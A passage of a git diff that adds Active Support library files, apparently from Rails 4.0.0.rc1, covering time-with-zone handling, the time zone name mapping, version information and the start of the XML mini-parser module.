+ autoload :Duration, 'active_support/duration'
+ autoload :TimeWithZone, 'active_support/time_with_zone'
+ autoload :TimeZone, 'active_support/values/time_zone'
+end
+
+require 'date'
+require 'time'
+
+require 'active_support/core_ext/time'
+require 'active_support/core_ext/date'
+require 'active_support/core_ext/date_time'
+
+require 'active_support/core_ext/integer/time'
+require 'active_support/core_ext/numeric/time'
+
+require 'active_support/core_ext/string/conversions'
+require 'active_support/core_ext/string/zones'
diff --git a/activesupport/lib/active_support/time_with_zone.rb b/activesupport/lib/active_support/time_with_zone.rb
new file mode 100644
index 0000000..4a032b0
--- /dev/null
+++ b/activesupport/lib/active_support/time_with_zone.rb
@@ -0,0 +1,405 @@
+require 'active_support/values/time_zone'
+require 'active_support/core_ext/object/acts_like'
+
+module ActiveSupport
+ # A Time-like class that can represent a time in any time zone. Necessary
+ # because standard Ruby Time instances are limited to UTC and the
+ # system's <tt>ENV['TZ']</tt> zone.
+ #
+ # You shouldn't ever need to create a TimeWithZone instance directly via +new+.
+ # Instead use methods +local+, +parse+, +at+ and +now+ on TimeZone instances,
+ # and +in_time_zone+ on Time and DateTime instances.
+ #
+ # Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
+ # Time.zone.local(2007, 2, 10, 15, 30, 45) # => Sat, 10 Feb 2007 15:30:45 EST -05:00
+ # Time.zone.parse('2007-02-10 15:30:45') # => Sat, 10 Feb 2007 15:30:45 EST -05:00
+ # Time.zone.at(1170361845) # => Sat, 10 Feb 2007 15:30:45 EST -05:00
+ # Time.zone.now # => Sun, 18 May 2008 13:07:55 EDT -04:00
+ # Time.utc(2007, 2, 10, 20, 30, 45).in_time_zone # => Sat, 10 Feb 2007 15:30:45 EST -05:00
+ #
+ # See Time and TimeZone for further documentation of these methods.
+ #
+ # TimeWithZone instances implement the same API as Ruby Time instances, so
+ # that Time and TimeWithZone instances are interchangeable.
+ #
+ # t = Time.zone.now # => Sun, 18 May 2008 13:27:25 EDT -04:00
+ # t.hour # => 13
+ # t.dst? # => true
+ # t.utc_offset # => -14400
+ # t.zone # => "EDT"
+ # t.to_s(:rfc822) # => "Sun, 18 May 2008 13:27:25 -0400"
+ # t + 1.day # => Mon, 19 May 2008 13:27:25 EDT -04:00
+ # t.beginning_of_year # => Tue, 01 Jan 2008 00:00:00 EST -05:00
+ # t > Time.utc(1999) # => true
+ # t.is_a?(Time) # => true
+ # t.is_a?(ActiveSupport::TimeWithZone) # => true
+ class TimeWithZone
+
+ # Report class name as 'Time' to thwart type checking.
+ def self.name
+ 'Time'
+ end
+
+ include Comparable
+ attr_reader :time_zone
+
+ def initialize(utc_time, time_zone, local_time = nil, period = nil)
+ @utc, @time_zone, @time = utc_time, time_zone, local_time
+ @period = @utc ? period : get_period_and_ensure_valid_local_time
+ end
+
+ # Returns a Time or DateTime instance that represents the time in +time_zone+.
+ def time
+ @time ||= period.to_local(@utc)
+ end
+
+ # Returns a Time or DateTime instance that represents the time in UTC.
+ def utc
+ @utc ||= period.to_utc(@time)
+ end
+ alias_method :comparable_time, :utc
+ alias_method :getgm, :utc
+ alias_method :getutc, :utc
+ alias_method :gmtime, :utc
+
+ # Returns the underlying TZInfo::TimezonePeriod.
+ def period
+ @period ||= time_zone.period_for_utc(@utc)
+ end
+
+ # Returns the simultaneous time in <tt>Time.zone</tt>, or the specified zone.
+ def in_time_zone(new_zone = ::Time.zone)
+ return self if time_zone == new_zone
+ utc.in_time_zone(new_zone)
+ end
+
+ # Returns a <tt>Time.local()</tt> instance of the simultaneous time in your
+ # system's <tt>ENV['TZ']</tt> zone.
+ def localtime
+ utc.respond_to?(:getlocal) ? utc.getlocal : utc.to_time.getlocal
+ end
+ alias_method :getlocal, :localtime
+
+ # Returns true if the current time is within Daylight Savings Time for the
+ # specified time zone.
+ #
+ # Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
+ # Time.zone.parse("2012-5-30").dst? # => true
+ # Time.zone.parse("2012-11-30").dst? # => false
+ def dst?
+ period.dst?
+ end
+ alias_method :isdst, :dst?
+
+ # Returns true if the current time zone is set to UTC.
+ #
+ # Time.zone = 'UTC' # => 'UTC'
+ # Time.zone.now.utc? # => true
+ # Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
+ # Time.zone.now.utc? # => false
+ def utc?
+ time_zone.name == 'UTC'
+ end
+ alias_method :gmt?, :utc?
+
+ # Returns the offset from current time to UTC time in seconds.
+ def utc_offset
+ period.utc_total_offset
+ end
+ alias_method :gmt_offset, :utc_offset
+ alias_method :gmtoff, :utc_offset
+
+ # Returns a formatted string of the offset from UTC, or an alternative
+ # string if the time zone is already UTC.
+ #
+ # Time.zone = 'Eastern Time (US & Canada)' # => "Eastern Time (US & Canada)"
+ # Time.zone.now.formatted_offset(true) # => "-05:00"
+ # Time.zone.now.formatted_offset(false) # => "-0500"
+ # Time.zone = 'UTC' # => "UTC"
+ # Time.zone.now.formatted_offset(true, "0") # => "0"
+ def formatted_offset(colon = true, alternate_utc_string = nil)
+ utc? && alternate_utc_string || TimeZone.seconds_to_utc_offset(utc_offset, colon)
+ end
+
+ # Time uses +zone+ to display the time zone abbreviation, so we're
+ # duck-typing it.
+ def zone
+ period.zone_identifier.to_s
+ end
+
+ def inspect
+ "#{time.strftime('%a, %d %b %Y %H:%M:%S')} #{zone} #{formatted_offset}"
+ end
+
+ def xmlschema(fraction_digits = 0)
+ fraction = if fraction_digits > 0
+ (".%06i" % time.usec)[0, fraction_digits + 1]
+ end
+
+ "#{time.strftime("%Y-%m-%dT%H:%M:%S")}#{fraction}#{formatted_offset(true, 'Z')}"
+ end
+ alias_method :iso8601, :xmlschema
+
+ # Coerces time to a string for JSON encoding. The default format is ISO 8601.
+ # You can get %Y/%m/%d %H:%M:%S +offset style by setting
+ # <tt>ActiveSupport::JSON::Encoding.use_standard_json_time_format</tt>
+ # to +false+.
+ #
+ # # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
+ # Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
+ # # => "2005-02-01T15:15:10Z"
+ #
+ # # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
+ # Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
+ # # => "2005/02/01 15:15:10 +0000"
+ def as_json(options = nil)
+ if ActiveSupport::JSON::Encoding.use_standard_json_time_format
+ xmlschema(3)
+ else
+ %(#{time.strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
+ end
+ end
+
+ def encode_with(coder)
+ if coder.respond_to?(:represent_object)
+ coder.represent_object(nil, utc)
+ else
+ coder.represent_scalar(nil, utc.strftime("%Y-%m-%d %H:%M:%S.%9NZ"))
+ end
+ end
+
+ # Returns a string of the object's date and time in the format used by
+ # HTTP requests.
+ #
+ # Time.zone.now.httpdate # => "Tue, 01 Jan 2013 04:39:43 GMT"
+ def httpdate
+ utc.httpdate
+ end
+
+ # Returns a string of the object's date and time in the RFC 2822 standard
+ # format.
+ #
+ # Time.zone.now.rfc2822 # => "Tue, 01 Jan 2013 04:51:39 +0000"
+ def rfc2822
+ to_s(:rfc822)
+ end
+ alias_method :rfc822, :rfc2822
+
+ # <tt>:db</tt> format outputs time in UTC; all others output time in local.
+ # Uses TimeWithZone's +strftime+, so <tt>%Z</tt> and <tt>%z</tt> work correctly.
+ def to_s(format = :default)
+ if format == :db
+ utc.to_s(format)
+ elsif formatter = ::Time::DATE_FORMATS[format]
+ formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
+ else
+ "#{time.strftime("%Y-%m-%d %H:%M:%S")} #{formatted_offset(false, 'UTC')}" # mimicking Ruby 1.9 Time#to_s format
+ end
+ end
+ alias_method :to_formatted_s, :to_s
+
+ # Replaces <tt>%Z</tt> and <tt>%z</tt> directives with +zone+ and
+ # +formatted_offset+, respectively, before passing to Time#strftime, so
+ # that zone information is correct
+ def strftime(format)
+ format = format.gsub('%Z', zone)
+ .gsub('%z', formatted_offset(false))
+ .gsub('%:z', formatted_offset(true))
+ .gsub('%::z', formatted_offset(true) + ":00")
+ time.strftime(format)
+ end
+
+ # Use the time in UTC for comparisons.
+ def <=>(other)
+ utc <=> other
+ end
+
+ # Returns true if the current object's time is within the specified
+ # +min+ and +max+ time.
+ def between?(min, max)
+ utc.between?(min, max)
+ end
+
+ # Returns true if the current object's time is in the past.
+ def past?
+ utc.past?
+ end
+
+ # Returns true if the current object's time falls within
+ # the current day.
+ def today?
+ time.today?
+ end
+
+ # Returns true if the current object's time is in the future.
+ def future?
+ utc.future?
+ end
+
+ def eql?(other)
+ utc.eql?(other)
+ end
+
+ def hash
+ utc.hash
+ end
+
+ def +(other)
+ # If we're adding a Duration of variable length (i.e., years, months, days), move forward from #time,
+ # otherwise move forward from #utc, for accuracy when moving across DST boundaries
+ if duration_of_variable_length?(other)
+ method_missing(:+, other)
+ else
+ result = utc.acts_like?(:date) ? utc.since(other) : utc + other rescue utc.since(other)
+ result.in_time_zone(time_zone)
+ end
+ end
+
+ def -(other)
+ # If we're subtracting a Duration of variable length (i.e., years, months, days), move backwards from #time,
+ # otherwise move backwards #utc, for accuracy when moving across DST boundaries
+ if other.acts_like?(:time)
+ utc.to_f - other.to_f
+ elsif duration_of_variable_length?(other)
+ method_missing(:-, other)
+ else
+ result = utc.acts_like?(:date) ? utc.ago(other) : utc - other rescue utc.ago(other)
+ result.in_time_zone(time_zone)
+ end
+ end
+
+ def since(other)
+ # If we're adding a Duration of variable length (i.e., years, months, days), move forward from #time,
+ # otherwise move forward from #utc, for accuracy when moving across DST boundaries
+ if duration_of_variable_length?(other)
+ method_missing(:since, other)
+ else
+ utc.since(other).in_time_zone(time_zone)
+ end
+ end
+
+ def ago(other)
+ since(-other)
+ end
+
+ def advance(options)
+ # If we're advancing a value of variable length (i.e., years, weeks, months, days), advance from #time,
+ # otherwise advance from #utc, for accuracy when moving across DST boundaries
+ if options.values_at(:years, :weeks, :months, :days).any?
+ method_missing(:advance, options)
+ else
+ utc.advance(options).in_time_zone(time_zone)
+ end
+ end
+
+ %w(year mon month day mday wday yday hour min sec to_date).each do |method_name|
+ class_eval <<-EOV, __FILE__, __LINE__ + 1
+ def #{method_name} # def month
+ time.#{method_name} # time.month
+ end # end
+ EOV
+ end
+
+ def usec
+ time.respond_to?(:usec) ? time.usec : 0
+ end
+
+ def to_a
+ [time.sec, time.min, time.hour, time.day, time.mon, time.year, time.wday, time.yday, dst?, zone]
+ end
+
+ def to_f
+ utc.to_f
+ end
+
+ def to_i
+ utc.to_i
+ end
+ alias_method :tv_sec, :to_i
+
+ def to_r
+ utc.to_r
+ end
+
+ # Return an instance of Time in the system timezone.
+ def to_time
+ utc.to_time
+ end
+
+ def to_datetime
+ utc.to_datetime.new_offset(Rational(utc_offset, 86_400))
+ end
+
+ # So that +self+ <tt>acts_like?(:time)</tt>.
+ def acts_like_time?
+ true
+ end
+
+ # Say we're a Time to thwart type checking.
+ def is_a?(klass)
+ klass == ::Time || super
+ end
+ alias_method :kind_of?, :is_a?
+
+ def freeze
+ period; utc; time # preload instance variables before freezing
+ super
+ end
+
+ def marshal_dump
+ [utc, time_zone.name, time]
+ end
+
+ def marshal_load(variables)
+ initialize(variables[0].utc, ::Time.find_zone(variables[1]), variables[2].utc)
+ end
+
+ # Ensure proxy class responds to all methods that underlying time instance
+ # responds to.
+ def respond_to_missing?(sym, include_priv)
+ # consistently respond false to acts_like?(:date), regardless of whether #time is a Time or DateTime
+ return false if sym.to_sym == :acts_like_date?
+ time.respond_to?(sym, include_priv)
+ end
+
+ # Send the missing method to +time+ instance, and wrap result in a new
+ # TimeWithZone with the existing +time_zone+.
+ def method_missing(sym, *args, &block)
+ wrap_with_time_zone time.__send__(sym, *args, &block)
+ rescue NoMethodError => e
+ raise e, e.message.sub(time.inspect, self.inspect), e.backtrace
+ end
+
+ private
+ def get_period_and_ensure_valid_local_time
+ # we don't want a Time.local instance enforcing its own DST rules as well,
+ # so transfer time values to a utc constructor if necessary
+ @time = transfer_time_values_to_utc_constructor(@time) unless @time.utc?
+ begin
+ @time_zone.period_for_local(@time)
+ rescue ::TZInfo::PeriodNotFound
+ # time is in the "spring forward" hour gap, so we're moving the time forward one hour and trying again
+ @time += 1.hour
+ retry
+ end
+ end
+
+ def transfer_time_values_to_utc_constructor(time)
+ ::Time.utc(time.year, time.month, time.day, time.hour, time.min, time.sec, Rational(time.nsec, 1000))
+ end
+
+ def duration_of_variable_length?(obj)
+ ActiveSupport::Duration === obj && obj.parts.any? {|p| [:years, :months, :days].include?(p[0]) }
+ end
+
+ def wrap_with_time_zone(time)
+ if time.acts_like?(:time)
+ self.class.new(nil, time_zone, time)
+ elsif time.is_a?(Range)
+ wrap_with_time_zone(time.begin)..wrap_with_time_zone(time.end)
+ else
+ time
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/values/time_zone.rb b/activesupport/lib/active_support/values/time_zone.rb
new file mode 100644
index 0000000..3cf82a2
--- /dev/null
+++ b/activesupport/lib/active_support/values/time_zone.rb
@@ -0,0 +1,429 @@
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/object/try'
+
+module ActiveSupport
+ # The TimeZone class serves as a wrapper around TZInfo::Timezone instances.
+ # It allows us to do the following:
+ #
+ # * Limit the set of zones provided by TZInfo to a meaningful subset of 146
+ # zones.
+ # * Retrieve and display zones with a friendlier name
+ # (e.g., "Eastern Time (US & Canada)" instead of "America/New_York").
+ # * Lazily load TZInfo::Timezone instances only when they're needed.
+ # * Create ActiveSupport::TimeWithZone instances via TimeZone's +local+,
+ # +parse+, +at+ and +now+ methods.
+ #
+ # If you set <tt>config.time_zone</tt> in the Rails Application, you can
+ # access this TimeZone object via <tt>Time.zone</tt>:
+ #
+ # # application.rb:
+ # class Application < Rails::Application
+ # config.time_zone = 'Eastern Time (US & Canada)'
+ # end
+ #
+ # Time.zone # => #<TimeZone:0x514834...>
+ # Time.zone.name # => "Eastern Time (US & Canada)"
+ # Time.zone.now # => Sun, 18 May 2008 14:30:44 EDT -04:00
+ #
+ # The version of TZInfo bundled with Active Support only includes the
+ # definitions necessary to support the zones defined by the TimeZone class.
+ # If you need to use zones that aren't defined by TimeZone, you'll need to
+ # install the TZInfo gem (if a recent version of the gem is installed locally,
+ # this will be used instead of the bundled version.)
+ class TimeZone
+ # Keys are Rails TimeZone names, values are TZInfo identifiers.
+ MAPPING = {
+ "International Date Line West" => "Pacific/Midway",
+ "Midway Island" => "Pacific/Midway",
+ "American Samoa" => "Pacific/Pago_Pago",
+ "Hawaii" => "Pacific/Honolulu",
+ "Alaska" => "America/Juneau",
+ "Pacific Time (US & Canada)" => "America/Los_Angeles",
+ "Tijuana" => "America/Tijuana",
+ "Mountain Time (US & Canada)" => "America/Denver",
+ "Arizona" => "America/Phoenix",
+ "Chihuahua" => "America/Chihuahua",
+ "Mazatlan" => "America/Mazatlan",
+ "Central Time (US & Canada)" => "America/Chicago",
+ "Saskatchewan" => "America/Regina",
+ "Guadalajara" => "America/Mexico_City",
+ "Mexico City" => "America/Mexico_City",
+ "Monterrey" => "America/Monterrey",
+ "Central America" => "America/Guatemala",
+ "Eastern Time (US & Canada)" => "America/New_York",
+ "Indiana (East)" => "America/Indiana/Indianapolis",
+ "Bogota" => "America/Bogota",
+ "Lima" => "America/Lima",
+ "Quito" => "America/Lima",
+ "Atlantic Time (Canada)" => "America/Halifax",
+ "Caracas" => "America/Caracas",
+ "La Paz" => "America/La_Paz",
+ "Santiago" => "America/Santiago",
+ "Newfoundland" => "America/St_Johns",
+ "Brasilia" => "America/Sao_Paulo",
+ "Buenos Aires" => "America/Argentina/Buenos_Aires",
+ "Montevideo" => "America/Montevideo",
+ "Georgetown" => "America/Guyana",
+ "Greenland" => "America/Godthab",
+ "Mid-Atlantic" => "Atlantic/South_Georgia",
+ "Azores" => "Atlantic/Azores",
+ "Cape Verde Is." => "Atlantic/Cape_Verde",
+ "Dublin" => "Europe/Dublin",
+ "Edinburgh" => "Europe/London",
+ "Lisbon" => "Europe/Lisbon",
+ "London" => "Europe/London",
+ "Casablanca" => "Africa/Casablanca",
+ "Monrovia" => "Africa/Monrovia",
+ "UTC" => "Etc/UTC",
+ "Belgrade" => "Europe/Belgrade",
+ "Bratislava" => "Europe/Bratislava",
+ "Budapest" => "Europe/Budapest",
+ "Ljubljana" => "Europe/Ljubljana",
+ "Prague" => "Europe/Prague",
+ "Sarajevo" => "Europe/Sarajevo",
+ "Skopje" => "Europe/Skopje",
+ "Warsaw" => "Europe/Warsaw",
+ "Zagreb" => "Europe/Zagreb",
+ "Brussels" => "Europe/Brussels",
+ "Copenhagen" => "Europe/Copenhagen",
+ "Madrid" => "Europe/Madrid",
+ "Paris" => "Europe/Paris",
+ "Amsterdam" => "Europe/Amsterdam",
+ "Berlin" => "Europe/Berlin",
+ "Bern" => "Europe/Berlin",
+ "Rome" => "Europe/Rome",
+ "Stockholm" => "Europe/Stockholm",
+ "Vienna" => "Europe/Vienna",
+ "West Central Africa" => "Africa/Algiers",
+ "Bucharest" => "Europe/Bucharest",
+ "Cairo" => "Africa/Cairo",
+ "Helsinki" => "Europe/Helsinki",
+ "Kyiv" => "Europe/Kiev",
+ "Riga" => "Europe/Riga",
+ "Sofia" => "Europe/Sofia",
+ "Tallinn" => "Europe/Tallinn",
+ "Vilnius" => "Europe/Vilnius",
+ "Athens" => "Europe/Athens",
+ "Istanbul" => "Europe/Istanbul",
+ "Minsk" => "Europe/Minsk",
+ "Jerusalem" => "Asia/Jerusalem",
+ "Harare" => "Africa/Harare",
+ "Pretoria" => "Africa/Johannesburg",
+ "Moscow" => "Europe/Moscow",
+ "St. Petersburg" => "Europe/Moscow",
+ "Volgograd" => "Europe/Moscow",
+ "Kuwait" => "Asia/Kuwait",
+ "Riyadh" => "Asia/Riyadh",
+ "Nairobi" => "Africa/Nairobi",
+ "Baghdad" => "Asia/Baghdad",
+ "Tehran" => "Asia/Tehran",
+ "Abu Dhabi" => "Asia/Muscat",
+ "Muscat" => "Asia/Muscat",
+ "Baku" => "Asia/Baku",
+ "Tbilisi" => "Asia/Tbilisi",
+ "Yerevan" => "Asia/Yerevan",
+ "Kabul" => "Asia/Kabul",
+ "Ekaterinburg" => "Asia/Yekaterinburg",
+ "Islamabad" => "Asia/Karachi",
+ "Karachi" => "Asia/Karachi",
+ "Tashkent" => "Asia/Tashkent",
+ "Chennai" => "Asia/Kolkata",
+ "Kolkata" => "Asia/Kolkata",
+ "Mumbai" => "Asia/Kolkata",
+ "New Delhi" => "Asia/Kolkata",
+ "Kathmandu" => "Asia/Kathmandu",
+ "Astana" => "Asia/Dhaka",
+ "Dhaka" => "Asia/Dhaka",
+ "Sri Jayawardenepura" => "Asia/Colombo",
+ "Almaty" => "Asia/Almaty",
+ "Novosibirsk" => "Asia/Novosibirsk",
+ "Rangoon" => "Asia/Rangoon",
+ "Bangkok" => "Asia/Bangkok",
+ "Hanoi" => "Asia/Bangkok",
+ "Jakarta" => "Asia/Jakarta",
+ "Krasnoyarsk" => "Asia/Krasnoyarsk",
+ "Beijing" => "Asia/Shanghai",
+ "Chongqing" => "Asia/Chongqing",
+ "Hong Kong" => "Asia/Hong_Kong",
+ "Urumqi" => "Asia/Urumqi",
+ "Kuala Lumpur" => "Asia/Kuala_Lumpur",
+ "Singapore" => "Asia/Singapore",
+ "Taipei" => "Asia/Taipei",
+ "Perth" => "Australia/Perth",
+ "Irkutsk" => "Asia/Irkutsk",
+ "Ulaanbaatar" => "Asia/Ulaanbaatar",
+ "Seoul" => "Asia/Seoul",
+ "Osaka" => "Asia/Tokyo",
+ "Sapporo" => "Asia/Tokyo",
+ "Tokyo" => "Asia/Tokyo",
+ "Yakutsk" => "Asia/Yakutsk",
+ "Darwin" => "Australia/Darwin",
+ "Adelaide" => "Australia/Adelaide",
+ "Canberra" => "Australia/Melbourne",
+ "Melbourne" => "Australia/Melbourne",
+ "Sydney" => "Australia/Sydney",
+ "Brisbane" => "Australia/Brisbane",
+ "Hobart" => "Australia/Hobart",
+ "Vladivostok" => "Asia/Vladivostok",
+ "Guam" => "Pacific/Guam",
+ "Port Moresby" => "Pacific/Port_Moresby",
+ "Magadan" => "Asia/Magadan",
+ "Solomon Is." => "Pacific/Guadalcanal",
+ "New Caledonia" => "Pacific/Noumea",
+ "Fiji" => "Pacific/Fiji",
+ "Kamchatka" => "Asia/Kamchatka",
+ "Marshall Is." => "Pacific/Majuro",
+ "Auckland" => "Pacific/Auckland",
+ "Wellington" => "Pacific/Auckland",
+ "Nuku'alofa" => "Pacific/Tongatapu",
+ "Tokelau Is." => "Pacific/Fakaofo",
+ "Chatham Is." => "Pacific/Chatham",
+ "Samoa" => "Pacific/Apia"
+ }
+
+ UTC_OFFSET_WITH_COLON = '%s%02d:%02d'
+ UTC_OFFSET_WITHOUT_COLON = UTC_OFFSET_WITH_COLON.sub(':', '')
+
+ # Assumes self represents an offset from UTC in seconds (as returned from
+ # Time#utc_offset) and turns this into an +HH:MM formatted string.
+ #
+ # TimeZone.seconds_to_utc_offset(-21_600) # => "-06:00"
+ def self.seconds_to_utc_offset(seconds, colon = true)
+ format = colon ? UTC_OFFSET_WITH_COLON : UTC_OFFSET_WITHOUT_COLON
+ sign = (seconds < 0 ? '-' : '+')
+ hours = seconds.abs / 3600
+ minutes = (seconds.abs % 3600) / 60
+ format % [sign, hours, minutes]
+ end
+
+ include Comparable
+ attr_reader :name
+ attr_reader :tzinfo
+
+ # Create a new TimeZone object with the given name and offset. The
+ # offset is the number of seconds that this time zone is offset from UTC
+ # (GMT). Seconds were chosen as the offset unit because that is the unit
+ # that Ruby uses to represent time zone offsets (see Time#utc_offset).
+ def initialize(name, utc_offset = nil, tzinfo = nil)
+ self.class.send(:require_tzinfo)
+
+ @name = name
+ @utc_offset = utc_offset
+ @tzinfo = tzinfo || TimeZone.find_tzinfo(name)
+ @current_period = nil
+ end
+
+ # Returns the offset of this time zone from UTC in seconds.
+ def utc_offset
+ if @utc_offset
+ @utc_offset
+ else
+ @current_period ||= tzinfo.try(:current_period)
+ @current_period.try(:utc_offset)
+ end
+ end
+
+ # Returns the offset of this time zone as a formatted string, of the
+ # format "+HH:MM".
+ def formatted_offset(colon=true, alternate_utc_string = nil)
+ utc_offset == 0 && alternate_utc_string || self.class.seconds_to_utc_offset(utc_offset, colon)
+ end
+
+ # Compare this time zone to the parameter. The two are compared first on
+ # their offsets, and then by name.
+ def <=>(zone)
+ result = (utc_offset <=> zone.utc_offset)
+ result = (name <=> zone.name) if result == 0
+ result
+ end
+
+ # Compare #name and TZInfo identifier to a supplied regexp, returning +true+
+ # if a match is found.
+ def =~(re)
+ re === name || re === MAPPING[name]
+ end
+
+ # Returns a textual representation of this time zone.
+ def to_s
+ "(GMT#{formatted_offset}) #{name}"
+ end
+
+ # Method for creating new ActiveSupport::TimeWithZone instance in time zone
+ # of +self+ from given values.
+ #
+ # Time.zone = 'Hawaii' # => "Hawaii"
+ # Time.zone.local(2007, 2, 1, 15, 30, 45) # => Thu, 01 Feb 2007 15:30:45 HST -10:00
+ def local(*args)
+ time = Time.utc(*args)
+ ActiveSupport::TimeWithZone.new(nil, self, time)
+ end
+
+ # Method for creating new ActiveSupport::TimeWithZone instance in time zone
+ # of +self+ from number of seconds since the Unix epoch.
+ #
+ # Time.zone = 'Hawaii' # => "Hawaii"
+ # Time.utc(2000).to_f # => 946684800.0
+ # Time.zone.at(946684800.0) # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+ def at(secs)
+ Time.at(secs).utc.in_time_zone(self)
+ end
+
+ # Method for creating new ActiveSupport::TimeWithZone instance in time zone
+ # of +self+ from parsed string.
+ #
+ # Time.zone = 'Hawaii' # => "Hawaii"
+ # Time.zone.parse('1999-12-31 14:00:00') # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+ #
+ # If upper components are missing from the string, they are supplied from
+ # TimeZone#now:
+ #
+ # Time.zone.now # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+ # Time.zone.parse('22:30:00') # => Fri, 31 Dec 1999 22:30:00 HST -10:00
+ def parse(str, now=now)
+ parts = Date._parse(str, false)
+ return if parts.empty?
+
+ time = Time.new(
+ parts.fetch(:year, now.year),
+ parts.fetch(:mon, now.month),
+ parts.fetch(:mday, now.day),
+ parts.fetch(:hour, 0),
+ parts.fetch(:min, 0),
+ parts.fetch(:sec, 0) + parts.fetch(:sec_fraction, 0),
+ parts.fetch(:offset, 0)
+ )
+
+ if parts[:offset]
+ TimeWithZone.new(time.utc, self)
+ else
+ TimeWithZone.new(nil, self, time)
+ end
+ end
+
+ # Returns an ActiveSupport::TimeWithZone instance representing the current
+ # time in the time zone represented by +self+.
+ #
+ # Time.zone = 'Hawaii' # => "Hawaii"
+ # Time.zone.now # => Wed, 23 Jan 2008 20:24:27 HST -10:00
+ def now
+ time_now.utc.in_time_zone(self)
+ end
+
+ # Return the current date in this time zone.
+ def today
+ tzinfo.now.to_date
+ end
+
+ # Adjust the given time to the simultaneous time in the time zone
+ # represented by +self+. Returns a Time.utc() instance -- if you want an
+ # ActiveSupport::TimeWithZone instance, use Time#in_time_zone() instead.
+ def utc_to_local(time)
+ tzinfo.utc_to_local(time)
+ end
+
+ # Adjust the given time to the simultaneous time in UTC. Returns a
+ # Time.utc() instance.
+ def local_to_utc(time, dst=true)
+ tzinfo.local_to_utc(time, dst)
+ end
+
+ # Available so that TimeZone instances respond like TZInfo::Timezone
+ # instances.
+ def period_for_utc(time)
+ tzinfo.period_for_utc(time)
+ end
+
+ # Available so that TimeZone instances respond like TZInfo::Timezone
+ # instances.
+ def period_for_local(time, dst=true)
+ tzinfo.period_for_local(time, dst)
+ end
+
+ def self.find_tzinfo(name)
+ TZInfo::TimezoneProxy.new(MAPPING[name] || name)
+ end
+
+ class << self
+ alias_method :create, :new
+
+ # Return a TimeZone instance with the given name, or +nil+ if no
+ # such TimeZone instance exists. (This exists to support the use of
+ # this class with the +composed_of+ macro.)
+ def new(name)
+ self[name]
+ end
+
+ # Return an array of all TimeZone objects. There are multiple
+ # TimeZone objects per time zone, in many cases, to make it easier
+ # for users to find their own time zone.
+ def all
+ @zones ||= zones_map.values.sort
+ end
+
+ def zones_map
+ @zones_map ||= begin
+ new_zones_names = MAPPING.keys - lazy_zones_map.keys
+ new_zones = Hash[new_zones_names.map { |place| [place, create(place)] }]
+
+ lazy_zones_map.merge(new_zones)
+ end
+ end
+
+ # Locate a specific time zone object. If the argument is a string, it
+ # is interpreted to mean the name of the timezone to locate. If it is a
+ # numeric value it is either the hour offset, or the second offset, of the
+ # timezone to find. (The first one with that offset will be returned.)
+ # Returns +nil+ if no such time zone is known to the system.
+ def [](arg)
+ case arg
+ when String
+ begin
+ lazy_zones_map[arg] ||= lookup(arg).tap { |tz| tz.utc_offset }
+ rescue TZInfo::InvalidTimezoneIdentifier
+ nil
+ end
+ when Numeric, ActiveSupport::Duration
+ arg *= 3600 if arg.abs <= 13
+ all.find { |z| z.utc_offset == arg.to_i }
+ else
+ raise ArgumentError, "invalid argument to TimeZone[]: #{arg.inspect}"
+ end
+ end
+
+ # A convenience method for returning a collection of TimeZone objects
+ # for time zones in the USA.
+ def us_zones
+ @us_zones ||= all.find_all { |z| z.name =~ /US|Arizona|Indiana|Hawaii|Alaska/ }
+ end
+
+ protected
+
+ def require_tzinfo
+ require 'tzinfo' unless defined?(::TZInfo)
+ rescue LoadError
+ $stderr.puts "You don't have tzinfo installed in your application. Please add it to your Gemfile and run bundle install"
+ raise
+ end
+
+ private
+
+ def lookup(name)
+ (tzinfo = find_tzinfo(name)) && create(tzinfo.name.freeze)
+ end
+
+ def lazy_zones_map
+ require_tzinfo
+
+ @lazy_zones_map ||= Hash.new do |hash, place|
+ hash[place] = create(place) if MAPPING.has_key?(place)
+ end
+ end
+ end
+
+ private
+
+ def time_now
+ Time.now
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/values/unicode_tables.dat b/activesupport/lib/active_support/values/unicode_tables.dat
new file mode 100644
index 0000000..2571faa
Binary files /dev/null and b/activesupport/lib/active_support/values/unicode_tables.dat differ
diff --git a/activesupport/lib/active_support/version.rb b/activesupport/lib/active_support/version.rb
new file mode 100644
index 0000000..2dc040d
--- /dev/null
+++ b/activesupport/lib/active_support/version.rb
@@ -0,0 +1,11 @@
+module ActiveSupport
+ # Returns the version of the currently loaded ActiveSupport as a Gem::Version
+ def self.version
+ Gem::Version.new "4.0.0.rc1"
+ end
+
+ module VERSION #:nodoc:
+ MAJOR, MINOR, TINY, PRE = ActiveSupport.version.segments
+ STRING = ActiveSupport.version.to_s
+ end
+end
diff --git a/activesupport/lib/active_support/xml_mini.rb b/activesupport/lib/active_support/xml_mini.rb
new file mode 100644
index 0000000..d082a0a
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini.rb
@@ -0,0 +1,189 @@
+require 'time'
+require 'base64'
+require 'active_support/core_ext/module/delegation'
+require 'active_support/core_ext/string/inflections'
+
+module ActiveSupport
+ # = XmlMini
+ #
+ # To use the much faster libxml parser:
+ # gem 'libxml-ruby', '=0.9.7'
+ # XmlMini.backend = 'LibXML'
+ module XmlMini
+ extend self
+
+ # This module decorates files deserialized using Hash.from_xml with
+ # the <tt>original_filename</tt> and <tt>content_type</tt> methods.
+ module FileLike #:nodoc:
+ attr_writer :original_filename, :content_type
+
+ def original_filename
+ @original_filename || 'untitled'
+ end
+
+ def content_type
+ @content_type || 'application/octet-stream'
+ end
+ end
+
+ DEFAULT_ENCODINGS = {
+ "binary" => "base64"
+ } unless defined?(DEFAULT_ENCODINGS)
+
+ TYPE_NAMES = {
+ "Symbol" => "symbol",
+ "Fixnum" => "integer",
+ "Bignum" => "integer",
